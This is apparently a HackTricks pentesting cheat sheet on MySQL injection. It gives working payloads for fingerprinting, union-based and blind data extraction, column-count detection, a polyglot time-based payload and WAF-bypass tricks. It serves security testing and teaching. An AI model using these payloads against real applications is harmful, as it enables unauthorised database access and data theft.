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| mysql-ssrf.md | ||
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MySQL injection
This is a basic flow of how to confirm and perform a basic MySQL Injection. For more information go to: https://github.com/carlospolop-forks/PayloadsAllTheThings/blob/master/SQL%20injection/MySQL%20Injection.md
Comments
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
Interesting Functions
Confirm Mysql:
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
Useful functions
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
All injection
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
from https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/
Flow
Remember that in "modern" versions of MySQL you can substitute "information_schema.tables" for "mysql.innodb_table_stats" (This could be useful to bypass WAFs).
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
Only 1 value
group_concat()Limit X,1
Blind one by one
substr(version(),X,1)='r'orsubstring(version(),X,1)=0x70orascii(substr(version(),X,1))=112mid(version(),X,1)='5'
Blind adding
LPAD(version(),1...lenght(version()),'1')='asd'...RPAD(version(),1...lenght(version()),'1')='asd'...SELECT RIGHT(version(),1...lenght(version()))='asd'...SELECT LEFT(version(),1...lenght(version()))='asd'...SELECT INSTR('foobarbar', 'fo...')=1
Detect number of columns
Using a simple ORDER
order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
MySQL Union Based
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
SSRF
Learn here different options to abuse a Mysql injection to obtain a SSRF.
WAF bypass tricks
Information_schema alternatives
Remember that in "modern" versions of MySQL you can substitute information_schema.tables for mysql.innodb_table_stats** ** or for sys.x$schema_flattened_keys or for sys.schema_table_statistics
MySQLinjection without COMMAS
Select 2 columns without using any comma (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
Retrieving values without the column name
If at some point you know the name of the table but you don't know the name of the columns inside the table, you can try to find how may columns are there executing something like:
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
Supposing there is 2 columns (being the first one the ID) and the other one the flag, you can try to bruteforce the content of the flag trying character by character:
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
More info in https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952
MySQL history
You ca see other executions inside the MySQL reading the table: sys.x$statement_analysis
Version alternatives
mysql> select @@innodb_version;
+------------------+
| @@innodb_version |
+------------------+
| 5.6.31 |
+------------------+
mysql> select @@version;
+-------------------------+
| @@version |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+
mysql> mysql> select version();
+-------------------------+
| version() |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+
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Support HackTricks and get benefits!
Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
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